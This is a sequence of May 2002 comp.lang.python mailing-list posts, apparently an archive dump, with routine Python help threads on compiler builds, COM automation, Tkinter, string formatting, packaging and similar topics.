wrote in message news:... > > I've successfully built Python 2.1 with VC7, but I'm having a problem using > > the resulting binaries, namely _sre.pyd (and _d.pyd). Specifically, when I > > attempt to 'import re', the result is a Traceback stating 'ImportError: > > dynamic module does not define init function (init_sre)'. Everything works > > fine under VC6, and ...\modules\_sre.c definitely contains init_sre(), so it > > has to be something VC7 related. > > > > I'm not an MS VCn guru for any value of n. However, based on some > trips through "DLL hell" with other compilers, here are some ideas > that may help: > > (1) Use the Dependency Walker or some other tool to examine the > _sre.pyd itself to see that the entry point init_sre is actually there > (and not _init_sre or something else), rather than relying on its > presence in the source. Then you will know whether the problem is in > the importer or the importee. > > (2) If you haven't done so already, you should use the -v option when > running Python, to display the names of the actual full paths for > files that it is opening. However I can't recall whether you will get > the path printed before the ImportError. > > HTH, > John From tl_news at nexgo.de Thu May 23 13:49:26 2002 From: tl_news at nexgo.de (Tino Lange) Date: Thu, 23 May 2002 19:49:26 +0200 Subject: PythonCOM Problem: Automating WinFAX from Python References: Message-ID: On Thu, 23 May 2002 15:16:24 +0100, Stefan Schukat wrote: >>The Problem is that the COM Objects are all in "WinFax Automation Server 1.0" >>and the one I want to use is for example "WinFax.SDKSend" or >>"WinFax.SDKPhonebook" >> >>I can create the gen_py wrapper for the "WinFax Automation Server" but then >>it doesn't detect that "WinFax.SDKSend" is one of those objects and binds it >>dynamically. >to use the function non dynamically the following could work. [...] YES, YES, YES!!!! Great! Now it works! I'm happy! This small script can query the "AutoRecieve" Status of WinFax: from win32com.client import gencache Module = gencache.EnsureModule("{808D9041-49C1-11CE-A7FB-444553540000}", 0x0, 1, 0) sendobj = Module.CSDKSend() # instead of win32com.client.dynamic("WinFax.SDKSend") appObj = Module.COleWinFaxApp(sendobj.Application) Device = "Microlink Office" # my modem... (you can query yours with "GetDeviceList") Status = -1 Result, Status = appObj.GetAutoReceive(Device, Status) print "Result", Result, ", Status: ", Status Thanks a lot for your help! Tino From tim.one at comcast.net Fri May 31 14:26:30 2002 From: tim.one at comcast.net (Tim Peters) Date: Fri, 31 May 2002 14:26:30 -0400 Subject: OverflowError: math range error ??? In-Reply-To: Message-ID: [Shagshag13] > What does it mean "OverflowError: math range error" ??? It means math.log is unhappy. When facing an error like this, break complicated expression into multiple lines and the cause will soon become obvious. > I get this: > > Traceback (most recent call last): > File "./build_index.py", line 91, in ? > ii.updateWeight() > File "./invertedindex.py", line 109, in updateWeight > idf = ( math.log( (N + 1) / (df + 1) ) / math.log(2) + 1 ) > OverflowError: math range error My guess is that N and df are both ints, and that N < df. Then integer division truncates (N + 1) / (df + 1) to 0, and math.log(0) isn't defined (it "overflows" to minus infinity). Try rewriting as idf = int(math.log((N + 1.0) / (df + 1.0)) * INVLOG2 + 1) where INVLOG2 = 1.0 / math.log(2) is at module scope. However, it's probably a logic error somewhere else in your code if N *is* less than df at the time you compute idf (you can't very well have a term appearing in more documents than the total number of documents ...). From warren-postma at NOSPAM.rogers.com Sun May 5 00:53:15 2002 From: warren-postma at NOSPAM.rogers.com (Warren Postma) Date: Sun, 05 May 2002 04:53:15 GMT Subject: Benchmarking .NET against Python Message-ID: <%U2B8.33751$zk1.13151@news01.bloor.is.net.cable.rogers.com> I'm looking for information on any benchmarks that people might have done, comparing the speed of "compiled" IL code in .NET versus Python. Has anyone done anything like this? Warren From nospam at bigfoot.com Mon May 27 15:55:38 2002 From: nospam at bigfoot.com (Gillou) Date: Mon, 27 May 2002 21:55:38 +0200 Subject: encoding with reportlab References: Message-ID: Yes, you should upgrade. Lots of bugfixes, Platypus enhancements, a better doc... WinAnsi works perfectly with unices, and the test_pdfbase_encodings.py run in Linux mode shows the Euro symbol. --Gillou "Maric MICHAUD" a ?crit dans le message news: mailman.1022511163.26343.python-list at python.org... >>>> /path/to/reportlab/test/test_pdfbase_encodings.py I'm working on reease 1.0 ... no such file yet. Is implementation of encoding appear on later releases (1.0 seems to implement only WinANSI and MAC standards) ? is there a way to do without upgrading ? -----Message d'origine----- De : Gillou [mailto:nospam at bigfoot.com] Envoy? : lundi 27 mai 2002 13:24 ? : python-list at python.org Objet : Re: encoding with reportlab It's in one of the tests... /path/to/reportlab/test/test_pdfbase_encodings.py HTH --Gilles "Maric MICHAUD" a ?crit dans le message news: mailman.1022493751.14685.python-list at python.org... Does anyone know how make reportlab print euro symbol (EUR ) in a pdf doc under linux ('\xa4' in iso 8859-15) -- http://mail.python.org/mailman/listinfo/python-list From nookieNO_SP_AM at online.no Fri May 31 22:52:59 2002 From: nookieNO_SP_AM at online.no (Erlend J. Leiknes) Date: Sat, 01 Jun 2002 02:52:59 GMT Subject: My .py CGI script works in IE but not Netscape References: <79b54d28.0205311837.731002aa@posting.google.com> Message-ID: you should take a look at the cgitb modul (which provide exception errors in your browser instead in your apache logs.) You can also take a peek at /var/log/apache/error.log, or something simular depending on what distro you are running. "Chris" wrote in message news:79b54d28.0205311837.731002aa at posting.google.com... > My script doesnt work in Netscape for some reason. I'm developing on a > UNIX envionrment with Python 2.2.1. I open up Netscape in windows and > only the background picture of my webpage loads... nothing else. > However in IE it works perfectly. Any general ideas as to what may be > going on? Thanks. > > Chris From joie61 at yqinpo.net.cy Mon May 6 13:45:14 2002 From: joie61 at yqinpo.net.cy (joie61 at yqinpo.net.cy) Date: Mon, 6 May 2002 17:45:14 GMT Subject: waleed recollects, then Laura freely teases a closed envelope between Corey's signal References: Message-ID: <75d5be8c.f7fba2d8@yqinpo.net.cy> An HTML attachment was scrubbed... URL: From fredrik at pythonware.com Sun May 12 15:20:42 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 12 May 2002 19:20:42 GMT Subject: making python scripts backwards compatible References: <57yD8.37515$n4.8177493@newsc.telia.net> Message-ID: Martin v. Loewis wrote: > > he pointed out that there is little point in adding language > > features to [the Python interpreter] if [library] development > > is anchored to old language versions > > > > fwiw, the latest PIL still works with 1.5 (and maybe earlier). if Guido > > thinks that affects his work on the interpreter in any way, I'd say he > > needs a vacation ;-) > > That is taken out of context, though: [library] really was [standard > library]. There was a request to restrict the standard library to > older Python versions I think you lost a [portions of] somewhere in there ;-) which was the point of the PIL remark: major portions of the standard library can be made platform-independent with very little work, and that won't affect the interpreter development in any way. (if the standard library is the only place where the core deve- lopers can gain experience from using new language features, I'm not sure we should add any new language features...) From marklists at mceahern.com Wed May 22 06:33:54 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 22 May 2002 05:33:54 -0500 Subject: Converting HTML to XHTML In-Reply-To: <200205221220.11950@xsebbi.de> Message-ID: Checkout tidy. // mark From aleax at aleax.it Thu May 2 11:13:09 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 15:13:09 GMT Subject: Python vs. Perl, which is better to learn? References: Message-ID: <9IcA8.90097$vF6.2684221@news2.tin.it> Aahz wrote: ... > What I'd like is an argument to specify how many command-line args to > skip over, say if you're writing something like grep.py. import fileinput, sys, re there = re.compile(sys.argv.pop(1)) for line in fileinput.input(): if there.search(line): print line, Normally, you'd also use options-processing (not to mention error checking), but even then you get a separate list of real, non-option args that you can slice or pop things off before passing it on to fileinput.input. I'm just lazy in not wanting to map glob.glob over said list and flatten the results iff I'm on a platform with a nonglobbingbydefault shell... I'd rather have fileinput.input optionally do it for me iff the platform needs it:-). Perhaps unwise... Alex From joost_jacob at hotmail.com Wed May 22 07:35:12 2002 From: joost_jacob at hotmail.com (J.Jacob) Date: 22 May 2002 04:35:12 -0700 Subject: Text Widget size References: Message-ID: <13285ea2.0205220335.10fd6e36@posting.google.com> > [Salim Zayat] > Hey all. What's up? I have a quick question about the Tkinter Text > widget. If I have a string of text inserted, is there a way to change > the size of the Text widget to fit it perfectly, i.e. changing the height > and width to display all the lines of Text that are there and not have > any extra lines? Here is the method (called resize()) in class TextMap that does what you asked for when called without parameters. class TextMap is of type Tkinter.Frame and has a .text attribute of type Tkinter.Text. Works with python 1.5.2 or later. I think you can figure out how it is implemented now, for more details: the class TextMap is in the textui module I submitted to parnassus, you can also get it at http://www.cwi.nl/~jacob/textui.py def resize(self, height=None, width=None): if not (height or width): # fit window to displayed # text inside textstr = self.gettext() self.width = 0 self.height = 0 for s in string.split(textstr, '\n'): self.height = self.height + 1 if len(s) > self.width: self.width = len(s) self.resize(height=self.height, width=self.width) else: if height: self.height = height self.text.config(height=height) if width: self.width = width self.text.config(width=width) self.text.update() def gettext(self): "Return the data (string) in the window" return self.text.get('1.0', END+'-1c') # first # through last END points to just beyond the last # character in the text string '-1c' because this # widget adds a trailing newline char to its # contents From jblazi at hotmail.com Thu May 30 03:32:08 2002 From: jblazi at hotmail.com (jb) Date: Thu, 30 May 2002 09:32:08 +0200 Subject: .pyc in subdirectories ? Message-ID: <3cf5d3d4_2@news.newsgroups.com> Can I have ?ython generate .pyc files not in the current directory $CDIR but in a subdirectory $CDIR/pyc ? TIA, -- Janos Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsfeeds.Com - Uncensored Usenet News ==---------- http://www.newsfeeds.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From donn at u.washington.edu Fri May 24 14:13:40 2002 From: donn at u.washington.edu (Donn Cave) Date: 24 May 2002 18:13:40 GMT Subject: How to get login computer's domain name? References: Message-ID: Quoth "James J. Besemer" : | | import socket | socket.gethostname() Nah, that's the host name, not the domain name. It may yield a domain name at some sites, but that seems to be relatively rare. name, hlist, alist = socket.gethostbyaddr(socket.gethostbyname(socket.gethostname())) will work in many cases - where the host name is configured correctly, /etc/hosts doesn't list the short version first, and of course where there is a single unambiguous answer to the question. Donn Cave, donn at u.washington.edu | "Beverly K. Pope" wrote: | | > Is there a module that has commands for getting the domain name of the | > computer to which I am logged in (not "local")? Or do I have to open | > a pipe to the appropriate command? From peter at engcorp.com Thu May 9 00:50:56 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 09 May 2002 00:50:56 -0400 Subject: "Inserting" a line in a text file? References: Message-ID: <3CDA0030.22FBD3C4@engcorp.com> Jeff Shannon wrote: > > In article , William Park > says... > > > > > On Tue, May 07, 2002 at 09:34:02PM +0100, Duncan Smith wrote: > > >> I need to (in effect) insert a single line at the beginning of an > > >> existing text file (a dumped MySQL database, so potentially large). Is > > >> there anything cuter than eg. creating a temporary file containing the > > >> single line, reading the lines from the data file, appending them to the > > >> temporary file, deleting the data file, renaming the temporary file? > > > > If you have access to 'ed' or 'vi', then you can insert using the text > > editors. > > Yes, but internally, those editors are doing the exact same thing > that he's hoping to avoid -- reading the file into memory and > writing it back out with the extra line inserted. Really, > there's no practical way to avoid this -- it's just the way that > filesystems work. You can minimize the damage by reading in > smallish chunks at a time (say, 8k) but you *will* have to spin > through the entire file. I wonder whether a journalling/logging file system would support an insertion operation *without* the need to rewrite the whole file. I know you can overwrite portions of the file without touching the current content (it appends an operation recording that a range has been overwritten) and you can append easily, but do they understand insertion? (Not that this in any way even remotely helps the OP... just curious.) -Peter From nospam at nospam.nospam Sun May 19 04:19:17 2002 From: nospam at nospam.nospam (Max) Date: Sun, 19 May 2002 08:19:17 GMT Subject: problem with gadfly and py2exe Message-ID: <9eJF8.69521$zW3.1064537@news1.tin.it> Hi folks! I just started using gadfly (very nice for a small project...). I replaced a small module written by myself with it, and now it works (better, i suppose... ;) ). The problem is that when i try to make the "exe" with py2exe the program stops when i try to initialize the db (db=gadfly.gadfly() or db=gadfly.gadfly(dbname, dir)...) I had a similar problem using my module in the beginning, because py2exe could'nt find the shelve module by itself. I solved the problem for my own module forcing the import of shelve, but this (as almost obvious...) doesn't work for gadfly. Has anybody experienced the same problem or has any idea of which modules gadfly relies upon (and i might try to force import of in py2exe) ? Thanks in advance for any suggestion, Max. From a-steinhoff at web.de Tue May 7 05:37:19 2002 From: a-steinhoff at web.de (Armin Steinhoff) Date: 7 May 2002 02:37:19 -0700 Subject: PyQt-3.1 and SIPO-3.1 available for QNX 6.1 Message-ID: Hi, PyQt-3.1 and SIP-3.1 is now available at http://www.sf.net/projects/openqnx Have fun ... Armin http://www.steinhoff-automation.com From coady at bent-arrow.com Fri May 17 14:38:08 2002 From: coady at bent-arrow.com (Coady) Date: 17 May 2002 11:38:08 -0700 Subject: ANN: set-0.2 module available Message-ID: Located at http://bent-arrow.com/python and the Vaults of Parnassus. This extension module implements a set type, similar to PEP 218. Changes since version 0.1 include some bug fixes and the features below, based on feedback. - The set hashing function is no longer brain-dead. Thanks to Kevin Jacobs. - Set comparison has been better optimized. - Sets have two new (read&write) boolean attributes: 'mutable' and 'hashable'. At the risk of feature bloat, this should allow complete flexibility. The default is still the same: hashable and mutable, but becomes immutable upon first (successful) hashing. Thanks for the comments, -Coady From michael.williams at st-annes.oxford.ac.uk Sun May 12 20:12:17 2002 From: michael.williams at st-annes.oxford.ac.uk (Michael Williams) Date: Mon, 13 May 2002 01:12:17 +0100 Subject: Changing to future division sitewide References: Message-ID: On Sun, 12 May 2002 17:16:14 +0100, Michael Williams wrote: >>> 2) running a module they've saved (or indeed any module) >> >> Would all such modules be saved from idlefork? If so, see below. For the record the fix for this is to ammend change the line that reads: spawn.spawn( pyth_exe, load_py ) In idle/ExecBinding.py in the IDLEfork source to: spawn.spawn( pyth_exe, "-Qnew", load_py ) >>> 3) Someone using the interactive interpreter in idlefork >> >>> Presumably this is going to involve doing more than one thing if it >>> ieven possible. We could always tell our students to put "from >>> __future__ import division" at the start of every program >> >> I would aim at creating an 'idlepy' command which would bring up python >> in -Qnew mode (assuming idlefork code itself is 'Qnew clean') And Terry was right. Running IDLEfork by doing "python -Qnew " ( is just wherever your IDLEfork installation lives) fixes this. -- Michael From Kevin.Smith at theMorgue.org Mon May 6 12:14:59 2002 From: Kevin.Smith at theMorgue.org (Kevin Smith) Date: 6 May 2002 16:14:59 GMT Subject: Problem with imp.load_source Message-ID: <20020506121508322-0400@braeburn.na.sas.com> I am trying to implement a new source loader using the imp.load_source() function, but I get some weird side-effects. If I use a '.' in the first argument of the load_source() call, classes imported in both the main program and the imported file don't appear to be the same class anymore. See the example below. #------- testimp ------- #!/usr/bin/env python import sys, imp, os from UserList import UserList mod = imp.load_source('my.testing', '%(HOME)s/filters/testing.py' % os.environ) OtherUserList = vars(mod)['UserList'] # Returns 0 print issubclass(OtherUserList, UserList) #-------- end testimp ------- #--------- $HOME/filters/testing.py from UserList import UserList #--------- end testing.py ------- From pyth at devel.trillke.net Thu May 16 14:18:30 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 16 May 2002 20:18:30 +0200 Subject: how to determine an 'open' string? In-Reply-To: ; from mwh@python.net on Thu, May 16, 2002 at 05:52:12PM +0000 References: Message-ID: <20020516201830.M28033@prim.han.de> Michael Hudson wrote: > holger krekel writes: > > > hello, > > > > with my replacement rlcompleter module i'd like to > > have a *correct* check if a string is 'open'. > > examples: > > You're going to have fun with strings containing spaces aren't you? huh? not that i know of :-) holger From sholden at holdenweb.com Tue May 7 17:26:51 2002 From: sholden at holdenweb.com (Steve Holden) Date: Tue, 7 May 2002 17:26:51 -0400 Subject: variable length print format References: Message-ID: "les ander" wrote ... > Hi, > i have a variable length list of numbers. > i would like to print them out with indicies in front as shown below: > > List=['a','b','c','d'] ---> 1:a 2:b 3:c 4:d > > one obvious solution is that i do > for i in range(List): > print "%s:%s" % (i+1,List[i]) > > however i have a lot of these and would like it to be faster so i > tried doing this > > formatstr=" %s:%s " * len(List) > > print formatstr % (range(1,len(List)+1), List) > > but it did not work. > > is there a way to do this another way? One way is to put the integer indexes into the format string, then just format a tuple built from the list: >>> aList = ['a', 'b', 'c', 'd'] >>> format = "" >>> for i in range(len(aList)): ... format = "%s %d: %%s" % (format, i+1) ### Note: the double "%" becomes a percent sign in the output ... >>> format ' 1: %s 2: %s 3: %s 4: %s' >>> print format % tuple(aList) 1: a 2: b 3: c 4: d You could ring the variations on this, but the basic idea is the same. Also note that you cannot write for i in range(aList): - the arguments to the range() built-in should be integers. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From sholden at holdenweb.com Sun May 19 15:25:10 2002 From: sholden at holdenweb.com (Steve Holden) Date: Sun, 19 May 2002 15:25:10 -0400 Subject: proto-PEPs: __bind__ and __return__? References: Message-ID: "James T. Dennis" wrote ... > > I think this is only to open a can of flameworms but I just > have to compose the idea and let the forum shred it. > > The = operator in Python bothers me. We have so little > control over it. We can't overload it. > Rubbish. What's __setattr__() for? You perhaps mean "we can onbly overlaod it for objects we define ourselves", but in that case you need to look more closely at the type/object unification that's currently taking place. [ ... ] > I hope that makes sense. (BTW: I hypothesized an "unbound()" > function whose intent should be obvious --- I suppose it could > be implemented with enough knowlege of the scoping rules by > searching globals() and locals() and ??? > Makes no sense to me, but I am by no means the final arbiter of what's Pythonic and what's not. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From notdanielt3 at gte.net Wed May 1 12:32:34 2002 From: notdanielt3 at gte.net (Daniel T.) Date: Wed, 01 May 2002 16:32:34 GMT Subject: newbie writing an extention... Message-ID: Assume I have the following c header: typedef struct Type; int makeType(Type** t); // returns 0 if successful void destroyType(Type* t); int getValue(Type* t); void setValue(Type* t); int comapreTypes(Type* t1, Type* t2); // returns -1 if t1 is less, 1 if t2 is less, or 0 IE a basic module. How would the c file for the lib extention look? I'm esecially interested in how to parse the arguments of the function. TIA From peter at engcorp.com Thu May 30 19:57:12 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 19:57:12 -0400 Subject: backward/forward compatibility in PYTHON? References: Message-ID: <3CF6BC58.320C23F0@engcorp.com> Attila Horvath wrote: > > Dear PYTHON community, > > I'm new to PYTHON but am considering it for a new project development. As > with any new language system I have a key concern: > > How is backward (and forward) compatibility resolved in PYTHON? Have you considered distributing your application with something like py2exe? This creates an executable and, along with maybe some library files, allows you to distribute the required environment along with the code. In other words, avoid the issue altogether. -Peter From donn at drizzle.com Fri May 17 10:17:06 2002 From: donn at drizzle.com (Donn Cave) Date: Fri, 17 May 2002 14:17:06 -0000 Subject: OT: Crazy Programming References: <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> <3CE4473B.6E50E539@cosc.canterbury.ac.nz> Message-ID: <1021645025.3396@yasure> Quoth "James J. Besemer" : ... | Of course, there are some matters that are purely subjective. I think the | difference is when humans begin to pass judgement on things, rather than | merely measure them. E.g,, I can imagine two similar wines of equal | overall quality. Some people will prefer one and others may prefer | another. Make it easy and say the wines were a red and a white and some | people's preferences will be even more pronounced. That's not to say one | wine is better than the other, it's mere subjective Judgement -- a matter | of taste. But there are objective qualities that separate the wines | (e.g., acid, sugar and tannin levels) that form an objective basis for the | subjective judgement. Measurement is (can be) objective but judgement by | it's nature is subjective. Measurement implies an objective framework of | reference while judgement generally implies extrapolation beyond commonly | agreed upon criteria. What does "subjective" mean? Applicable only to the individual self and without relevance to anyone else? If so, then I think I'm hearing that a lot of what we call subjective, isn't. Presumably because we aren't all so different after all, and though we don't fully understand the basis for our reactions to things, that basis is still shared by any being like us. In this analysis, we don't just happen to think Python code looks better because of some inexplicable individual quirk. That seems reasonable to me. But then, what about list comprehensions? Donn Cave, donn at drizzle.com From jblazi at hotmail.com Fri May 24 05:56:54 2002 From: jblazi at hotmail.com (jb) Date: Fri, 24 May 2002 11:56:54 +0200 Subject: Iterating through two lists Message-ID: <3cee0ae6_1@news3.newsgroups.com> I have two lists, x and y with the property len(x) = len(y). I should like to achive this (x is a list of class instances) for (a,b) in (x,y): a.f(b) Is there a fancy way of doing this or have I to introduce an auxillary counter (that is very easy but maybe not very "lispy", that is "python-like"). -- Janos Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsfeed.Com - Uncensored Usenet News ==---------- http://www.newsfeed.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From pinard at iro.umontreal.ca Fri May 10 18:10:48 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 10 May 2002 18:10:48 -0400 Subject: unknown locale de_DE@euro In-Reply-To: References: Message-ID: [vincent wehren] > The locale de_DE at euro (which I uses ISO-8859-15 as encoding), as used by > e.g. SuSe 8.0 Linux Is not `@euro' fairly abusing the concept of language dialect? :-( -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From nospam at bigfoot.com Fri May 24 13:08:33 2002 From: nospam at bigfoot.com (Gillou) Date: Fri, 24 May 2002 19:08:33 +0200 Subject: New to Python... References: Message-ID: "Ken" a ?crit dans le message news: aclf3u$qmp40$1 at ID-49758.news.dfncis.de... > Hi, I am new to python. I am just wondering how different it is from C++? Very different, and to my opinion, it's a quality ! > Also, how does python get mixed in with HTML to generate a webpage? > Huh, there are tons of possibilities !!! Zope is the famoust one but Cameron Laird lists most others. http://starbase.neosoft.com/~claird/comp.lang.python/web_python.html > Thanks Welcome From gcordova at hebmex.com Fri May 10 17:51:19 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Fri, 10 May 2002 16:51:19 -0500 Subject: Which GUI Library to Use Message-ID: > > From http://www.fox-toolkit.org/news.html: > > April 5, 2002 - New drop: FOX 1.1.8 > > That's pretty new :) > > David LeBlanc > Seattle, WA USA > > > Far as I know Fox is no longer being maintained... > > > > Did someone pick that up and start developing it again? > > > > Bob > Actually, what's not being maintained are the Python bindings for fox: pyfx??? Something like that. As for fox, it's getting better and better. Has a wierd look, but being portable everywhere is cool. -gus From tchur at optushome.com.au Fri May 24 23:16:35 2002 From: tchur at optushome.com.au (Tim Churches) Date: Sat, 25 May 2002 13:16:35 +1000 Subject: Academic citation for Python References: <3CEEE0D8.7030102@bellatlantic.net> Message-ID: <3CEF0213.3C7689F7@optushome.com.au> Ross Lazarus wrote: > > How should the Python language be cited in an academic publication? > > For example, in > http://bioinformatics.oupjournals.org/cgi/reprint/17/8/756.pdf the > author mentions http://www.python.org in the text rather than formally > citing the primary source - or is that the appropriate primary source > and recommended attribution? > > I found "Copyright 1991-1995 by Stichting Mathematisch Centrum, > Amsterdam, The Netherlands" at http://www.python.org/doc/Copyright.html, > but that doesn't seem as complete or helpful as I'd like for a refereed > journal. I cited Python thus: [16] G. van Rossum and F.L. Drake (eds), Python Reference Manual, PythonLabs, Virginia, USA, 2001. Available at http://www.python.org and Numerical Python thus: [17] D. Ascher, P.F. Dubois, K. Hinsen, J. Hugunin and T. Oliphant, Numerical Python, Lawrence Livermore National Laboratory, Livermore, California, USA, 2001. Available at http://www.pfdubois.com/numpy/ in a paper which will appear shortly in Computer Methods and Programs in Biomedicine, and the editors seemed satisfied. Tim C From wilk at flibuste.net Fri May 10 13:27:20 2002 From: wilk at flibuste.net (William Dode) Date: Fri, 10 May 2002 19:27:20 +0200 Subject: get/set References: Message-ID: <20020510192720.0823ed15.wilk@flibuste.net> Le Fri, 10 May 2002 12:03:53 -0500 "Mark McEahern" ?crivait: > [William Dode] > > coming from java, i use to do a lot of get set method and make all the > > variable as private. > > > > class Toto: > > def getA(self): return self._a > > def setA(self,v): self._a=v > > ... > > > > Shall i do like that in python ? > > Field descriptors are new with Python 2.2 and require the new-style > classes. To create a new-style class, simple subclass from object (as > shown below). Then, you can create properties... it means that if i want to keep working with python 2.1 i need to use my own get/set method ? > > class Person(object): > > def __init__(self): > self._first_name = '' > > def get_first_name(self): > return self._first_name > > def set_first_name(self, value): > self._first_name = value > > first_name = property(get_first_name, set_first_name) > > Obviously, unless I'm doing some validation, there's not much point in > using properties versus just plain old: > > class Person: > > def __init__(self): > self.first_name = '' > > p = Person() > p.first_name = "whatever" > > // mark > > > -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From kseehof at neuralintegrator.com Wed May 15 03:16:47 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Wed, 15 May 2002 00:16:47 -0700 Subject: __getitem__, __getslice__ question for python 2.2 In-Reply-To: <3CE1F9C5.94DDC17C@alcyone.com> Message-ID: Eric Max Francis wrote: > Raymond Hettinger wrote: > > > "logistix" wrote > > > > > Also, some people don't like to use isinstance, but I'm not sure how > > > else to > > > tell if you got an int. > > > > if x != int(x): print 'expected an integer' > > This is a pretty poor test. Consider the cases where x is 'a', or when > it is 2.0. I don't see the problem. If x is 'a', x != int(x) evaluates to false, consistent with 'a' not being an integer. If x is 2.0, the expression evaluates to true. People will argue about whether or not this is correct. It may or may not be correct, depending on why you want to constrain x to an integer. In many cases it is appropriate to consider 2.0 to be an integer. It depends on the context. If the actual type is important and you don't consider 2.0 to be an integer, you can say: if type(x) != int: ... or equivalently... if type(x) != type(0): ... - Ken Seehof From fperez528 at yahoo.com Thu May 2 18:54:19 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Thu, 02 May 2002 16:54:19 -0600 Subject: Packing data References: <3CD0850E.94E6EC5F@uniserve.com> <3CD1AFB9.B964EDA5@uniserve.com> Message-ID: bvdpoel at uniserve.com wrote: > Thanks ... yet another way to do it! Damn Python--too many choices :) > Well, and yet another one ;) If you can store your data in a tuple to begin with, this one is almost a factor of two faster: #---------------------------------------------------------------- import string, time def time_fun(f): start = time.time() f() elapsed = time.time() - start print f, round(elapsed, 2) return elapsed size = int(1e7) L = (42,)*size def listcomp_test(): return string.join([chr(x) for x in L], '') def map_test(): return ''.join(map(chr, L)) def fmt_test(): return '%c'*len(L) % L to_test = fmt_test assert map_test() == to_test() print 'size:',size times = [] for f in map_test, to_test: times.append(time_fun(f)) print 'ratio: %.2f' % (times[0]/times[1]) #---------------------------------------------------------------- The results are (checking various sizes to make sure they both scale equally): In [20]: run datapack.py size: 100000 0.2 0.12 ratio: 1.69 In [21]: run datapack.py size: 1000000 1.81 1.03 ratio: 1.76 In [22]: run datapack.py size: 3000000 5.35 3.06 ratio: 1.75 In [23]: run datapack.py size: 10000000 17.85 10.2 ratio: 1.75 If your data is in a list and must be so, you have to call tuple(L) before running it through the % operator. The improvement then is a bit less, but still significant. And I think the code is clearer anyway. Which brings me to a question: why doesn't % accept a list on its rhs? Is there any strong reason to force it to be a tuple? Just curious, as I often find myself wrapping tuple(my_list) calls on things for %. Cheers, f. From claird at starbase.neosoft.com Thu May 9 09:44:45 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 9 May 2002 08:44:45 -0500 Subject: Still on py2exe (is it free?) References: Message-ID: In article , Bjorn Pettersen wrote: >> From: synthespian [mailto:synthespian at uol.com.br]=20 >> >> I want to write a small application for enteral=20 >> nutrition for a hospital. I want to do it in Python, but I=20 >> don't want to keep explaining to every one of the Windoze=20 >> people there that they'll allways need to have Python installed. >> So I figured that py2exe seem ideal for a stand-alone=20 >> app. It makes things easier on the Windrones. >> * But * I'll only go ahead and do it if py2exe is free=20 >> software. Is it? > >With that attitude I sincerely hope that you don't get to write any >software for end users. Oh, and let's see, go to google, check the first . . . There's something here I need to understand. Is it the engineering decisions, or the manner of expression, of synthespian, that you find "arrogant"? I agree that to write of "Win- drones" doesn't communicate respect and compassion. On the other hand, perhaps synthespian is accustomed to hearing such rubrics among the colleagues with whom he's most comfortable. Perhaps English is a second language for him, and his words don't ring in his ears with the same harshness you apparently hear. So: synthespian: others have already refer- red you to the exact py2exe license. I hope you and your end-users find satisfaction with it. Good luck improving the nutrition of your patients. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From jiri at baum.com.au Thu May 30 00:50:38 2002 From: jiri at baum.com.au (Jiri Baum) Date: Thu, 30 May 2002 14:50:38 +1000 Subject: distutils and gettext Message-ID: Hello, how does one deal with gettext translations in a program distributed with distutils? The gettext documentation mostly assumes that this is handled by automake, and distutils doesn't mention it at all. The best I can find is mentions of a wrong-looking `usual' directory for Linux... The program is currently distributed using distutils and has just been translated. It requires python 2 for other reasons, but it should run on both Linux and Windows. Surely somebody somewhere has done this, but I can't seem to find it... Jiri -- Jiri Baum http://www.csse.monash.edu.au/~jirib MAT LinuxPLC project --- http://mat.sf.net --- Machine Automation Tools From kragen at pobox.com Wed May 1 21:07:55 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 01 May 2002 21:07:55 -0400 Subject: comparing str's with ints References: <20020429115856.R1840-100000@palanthas.neverending.org> <83adrmrwge.fsf@panacea.canonical.org> Message-ID: <83n0vjqrv8.fsf@panacea.canonical.org> "Andrew Dalke" writes: > Kragen: > >Thus, heterogeneous collections are sortable. This might be a wart; > >once, > couldn't raise exceptions, and now we're stuck with its old > >behavior in this case for compatibility. It's kind of nice that > >heterogeneous collections are sortable, though. > > TypeError: cannot compare complex numbers using <, <=, >, >= Thanks for the correction! I guess heterogeneous collections are no longer sortable. I guess that means complex numbers were added after == and > could raise exceptions. From gh_pythonlist at gmx.de Fri May 31 04:43:05 2002 From: gh_pythonlist at gmx.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Fri, 31 May 2002 10:43:05 +0200 Subject: [Extensions] Checking for type In-Reply-To: <20020531080403.GA14041@lilith.my-fqdn.de> References: <20020531080403.GA14041@lilith.my-fqdn.de> Message-ID: <20020531084305.GC14227@lilith.my-fqdn.de> * Gerhard H?ring [2002-05-31 10:04 +0200]: > Currently, I'm checking for the type with: > > if (function_result->ob_type == &PyInt_Type) > > I'd rather use the C-API equivalent of > isinstance(function_result, IntType) but there doesn't seem to be one > that's compatible with Python 2.1, too. > > Any suggestions? Use PyInt_Check. HTH, Gerhard -- This sig powered by Python! Au?entemperatur in M?nchen: 17.1 ?C Wind: 2.5 m/s From martin at v.loewis.de Sun May 12 11:10:54 2002 From: martin at v.loewis.de (Martin v. 